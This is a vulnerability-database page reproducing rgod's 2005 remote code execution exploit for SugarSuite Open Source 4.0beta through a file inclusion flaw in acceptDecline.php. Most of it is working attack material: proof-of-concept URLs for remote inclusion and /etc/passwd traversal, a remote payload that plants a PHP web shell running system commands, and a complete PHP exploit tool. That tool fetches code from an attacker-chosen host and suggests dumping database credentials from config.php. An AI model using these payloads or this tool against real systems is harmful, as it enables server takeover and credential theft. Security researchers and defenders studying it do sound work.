Vulners
Lucene search
sugar_suite_40beta.txt
`SugarSuite Open Source <= 4.0beta Remote code execution
software:
site: http://www.sugarcrm.com/crm/
i) vulnerable code in acceptDecline.php at lines 81-82
...
$bean = $beanList[$_REQUEST['module']];
require_once($beanFiles[$bean]);
...
if register_globals on & allow_url_fopen on in php.ini, remote code inclusion, poc:
http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=http://[remote_location]/index.html&beanList[1]=1&module=1
if register_globals on, local inclusion, poc
http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../../../../../../etc/passwd&beanList[1]=1&module=1
http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../../../../../../../script.php&beanList[1]=1&module=1
at [remote_location], in index.html you have this code:
<?php
$fp=fopen("suntzu.php","w");
fputs($fp,"<? echo 'Hi Master';error_reporting(0);ini_set('max_execution_time',0); system(\$HTTP_GET_VARS[cmd]);?>");
fclose($fp);
?>
note: the file can have any extension, but not .php or any executable, it must be readable
from a browser...
now you can launch commands on target system:
http://[target]/[path_to_sugar]/suntzu.php?cmd=cat%20/etc/passwd
this is my proof of concept exploit tool:
<?php
# ---sugar_suite_40beta_xpl.php #
# #
# Sugar Suite Open Source <= 4.0 beta remote code execution #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu:"It is a matter of life and death, a road either to safety or to #
# ruin. Hence it is a subject of inquiry which can on no account be #
# neglected." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title>Sugar Suite Open Source <= 4.0beta remote code execution
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
Sugar Suite Open Source <= 4.0beta remote code execution</p><p class="Stile6"> a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.strip_tags($_SERVER[PHP_SELF]).'"><p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/sugar/ or just / ) </span></p><p><input type="text" name="command"> <span
class="Stile5"> * specify a command ("cat config.php" to see database username &
password)</span></p><p><input type="text" name="location"><span class="Stile5">
* remote location ( ex: http://www.somesite.com/index.html) </span></p><p><input
type="text" name="port"><span class="Stile5">specify a port other than 80
( default value ) </span></p> <p> <input type="text" name="proxy"> <span
class="Stile5"> send exploit through an HTTP proxy (ip:port)</span></p> <p>
<input type="submit" name="Submit" value="go!"></p></form> </td> </tr> </table>
</body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];$command=$_POST[command];
$proxy=$_POST[proxy];$location=$_POST[location];$port=$_POST[port];
if (($host<>'') and ($path<>'') and ($command<>'') and ($location<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
$packet="GET ".$p."acceptDecline.php?beanFiles[1]=".urlencode($location)."&beanList[1]=1&module=1 HTTP/1.1\r\n";
$packet.="User-Agent: MantraAgent\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$packet="GET ".$p."suntzu.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="User-Agent: Vagabondo/2.0 MT\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
}
else
{
echo "Note: on remote location you need this code in <br>
http:/[remote_location]/index.html :<br>";
echo nl2br(htmlentities("
<?php
\$fp=fopen(\"suntzu.php\",\"w\");
fputs(\$fp,\"<? echo 'Hi Master';error_reporting(0);ini_set('max_execution_time',0); system(\\\$HTTP_GET_VARS[cmd]);?>\");
fclose(\$fp);
?>
"));
echo "<br>Fill * requested fields, optionally specify a proxy...";
}
?>
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/sugar_suite_40beta.html
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Dec 2005 00:00Current
7.4High risk
Vulners AI Score7.4